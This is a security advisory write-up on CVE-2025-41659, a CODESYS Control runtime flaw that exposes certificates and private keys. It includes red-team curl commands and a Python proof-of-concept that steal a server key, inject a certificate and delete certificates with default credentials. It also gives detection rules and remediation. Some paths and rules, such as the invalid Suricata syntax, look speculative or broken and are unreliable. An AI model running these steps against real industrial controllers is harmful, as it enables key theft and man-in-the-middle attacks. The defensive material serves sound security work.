CVE-2025-41659

Executive Summary

CVE-2025-41659 is a critical vulnerability in CODESYS Control runtime systems that allows a low-privileged attacker to remotely access the PKI folder, enabling the reading and writing of certificates and their associated private keys. This exposure permits sensitive data extraction, unauthorized trust acceptance of attacker-controlled certificates, and the potential to force unencrypted communication by deleting legitimate certificates. With a CVSS score of 8.3, this vulnerability poses a significant threat to industrial control systems (ICS) and operational technology (OT) environments, potentially leading to man-in-the-middle attacks, data breaches, and loss of communication integrity.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It affects the CODESYS Control runtime, a proprietary industrial automation software widely used in PLC programming and runtime environments. The risk is primarily in the supply chain of industrial control systems where CODESYS components are integrated.

CVSS Breakdown & Threat Level

• CVSS Score: 8.3 (High)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: Low (PR:L)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: High (C:H)
• Integrity Impact: High (I:H)
• Availability Impact: None (A:N)

Threat Level: High. The vulnerability allows remote exploitation with low privileges, enabling attackers to compromise the entire PKI infrastructure of the CODESYS runtime. This can lead to complete loss of trust in encrypted communications and potential data exfiltration.

Deep Dive & Mechanics

The vulnerability resides in the PKI (Public Key Infrastructure) folder of the CODESYS Control runtime system. This folder typically stores certificates and private keys used for TLS/SSL encryption, device authentication, and secure communication between CODESYS components (e.g., engineering tools, runtime, and web interfaces).

Root Cause: Insufficient access controls on the PKI folder. A low-privileged attacker can remotely access this folder via the CODESYS runtime's file system interface or web services, bypassing authentication mechanisms that should restrict access to administrative users.

Attack Flow:

1. Discovery: The attacker identifies a CODESYS Control runtime exposed on the network (e.g., via Shodan or port scanning).
2. Authentication Bypass: Using low-privileged credentials (e.g., default or weak passwords) or exploiting other vulnerabilities, the attacker gains remote access to the runtime.
3. PKI Folder Access: The attacker navigates to the PKI folder (e.g., /etc/codesys/pki or similar path) and lists its contents.
4. Data Extraction: The attacker reads certificate files (.crt, .pem) and private key files (.key), extracting sensitive cryptographic material.
5. Trust Manipulation: The attacker can write malicious certificates to the PKI folder, causing the runtime to trust attacker-controlled entities.
6. Denial of Service (Availability): By deleting all certificates, the attacker forces the runtime to fall back to unencrypted communication, potentially exposing all subsequent traffic.

Impact:

• Confidentiality: Private keys are exposed, allowing decryption of past and future encrypted traffic.
• Integrity: Attacker can inject trusted certificates, enabling man-in-the-middle attacks.
• Availability: Deletion of certificates disrupts encrypted communication, but services remain operational.

Vulnerable vs. Patched Code

Since no official patch is available, the following comparison is based on expected secure implementation.

Vulnerable Code (Conceptual):

# Example of vulnerable access control in CODESYS runtime
def handle_file_request(path):
    # No privilege check for PKI folder
    if path.startswith("/pki"):
        return read_file(path)
    else:
        return access_denied()

Patched Code (Expected):

# Example of patched access control
def handle_file_request(user_role, path):
    if path.startswith("/pki"):
        if user_role == "admin":
            return read_file(path)
        else:
            return access_denied()
    else:
        return read_file(path)

Key Differences:

• The patched version enforces role-based access control (RBAC) for the PKI folder.
• Only users with administrative privileges can read/write certificates and keys.
• The vulnerable version lacks this check, allowing any authenticated user to access sensitive data.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• A CODESYS Control runtime (e.g., v3.5 SP19 or earlier) with default credentials.
• Network access to the runtime (e.g., port 8080 for web interface or 1200 for CODESYS protocol).

Exploitation Steps:

1. Scan for Targets:

   nmap -p 8080,1200 --open -sV <target_network>
   

2. Authenticate with Low-Privileged Credentials:
   • Default credentials: user:user or guest:guest.
   • Use CODESYS web interface or API.
3. Access PKI Folder:
   • Via HTTP: GET /pki/ or GET /files/pki/
   • Via CODESYS protocol: Use a custom script to list files.
4. Extract Certificates and Keys:

   curl -u user:user http://<target>:8080/pki/server.crt -o server.crt
   curl -u user:user http://<target>:8080/pki/server.key -o server.key
   

5. Inject Malicious Certificate:

   curl -u user:user -T malicious.crt http://<target>:8080/pki/
   

6. Delete Certificates (DoS):

   curl -u user:user -X DELETE http://<target>:8080/pki/server.crt
   

Proof-of-Concept Script (Python):

import requests

target = "http://192.168.1.100:8080"
auth = ("user", "user")

# List PKI folder
r = requests.get(f"{target}/pki/", auth=auth)
print("PKI Contents:", r.text)

# Download server key
r = requests.get(f"{target}/pki/server.key", auth=auth)
with open("server.key", "wb") as f:
    f.write(r.content)
print("Server key extracted.")

Blue Team (Defensive)

Detection & Response:

1. Monitor Access Logs: Look for unusual access to /pki/ paths from non-admin users.
2. Alert on Certificate Changes: Use file integrity monitoring (FIM) on the PKI folder.
3. Network Segmentation: Isolate CODESYS runtimes from untrusted networks.
4. Harden Credentials: Change default passwords and enforce strong authentication.
5. Disable Unnecessary Services: If web interface is not needed, disable it.

Honeypot Deployment:

• Deploy a fake CODESYS runtime with a monitored PKI folder to detect scanning and exploitation attempts.

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP requests to /pki/, /files/pki/, or similar paths.
• Unusual TLS certificate fingerprints on the runtime.
• Traffic to/from known malicious IPs targeting CODESYS ports (8080, 1200).

File IOCs:

• New or modified .crt, .key, .pem files in the PKI folder.
• Deletion of legitimate certificate files.
• Presence of self-signed certificates not matching expected CA.

System IOCs:

• Unexpected changes in runtime configuration (e.g., TLS disabled).
• Log entries showing access to PKI folder by non-admin users.
• Unusual processes or scripts accessing the file system.

Detection Engineering

YARA Rule

rule CVE_2025_41659_PKI_Access {
    meta:
        description = "Detects attempts to access CODESYS PKI folder"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-41659"
    strings:
        $pki_path = "/pki/" ascii wide nocase
        $pki_path2 = "/files/pki/" ascii wide nocase
        $cert_ext = ".crt" ascii wide nocase
        $key_ext = ".key" ascii wide nocase
    condition:
        any of ($pki_path*) and any of ($cert_ext, $key_ext)
}

Sigma Rule

title: CVE-2025-41659 - CODESYS PKI Folder Access
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects HTTP requests to CODESYS PKI folder from low-privileged users
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-41659
logsource:
    category: webserver
    product: apache
    service: http
detection:
    selection:
        cs-uri-path:
            - '/pki/*'
            - '/files/pki/*'
        cs-method:
            - 'GET'
            - 'POST'
            - 'PUT'
            - 'DELETE'
    condition: selection
falsepositives:
    - Legitimate administrative access
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-41659 - CODESYS PKI Folder Access Attempt"; flow:to_server; content:"/pki/"; http_uri; nocase; content:".crt" or content:".key"; http_uri; nocase; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Restrict Network Access: Use firewalls to limit access to CODESYS runtimes to trusted IPs only.
2. Change Default Credentials: Immediately change all default passwords to strong, unique passwords.
3. Disable Unnecessary Services: If the web interface or file access is not required, disable it.
4. Monitor PKI Folder: Implement file integrity monitoring (FIM) on the PKI folder to detect unauthorized changes.

Long-Term Fixes:

• Vendor Patch: Await an official patch from CODESYS that implements proper access controls on the PKI folder.
• Upgrade: Upgrade to a patched version when available.
• Compensating Controls: Implement application-level authentication for PKI folder access, even if the runtime does not enforce it.

Workaround:

• Manually set file system permissions on the PKI folder to restrict access to the runtime process only (e.g., chmod 700 /path/to/pki). Note: This may break functionality if the runtime requires broader access.

Valters IT
Securing Industrial Control Systems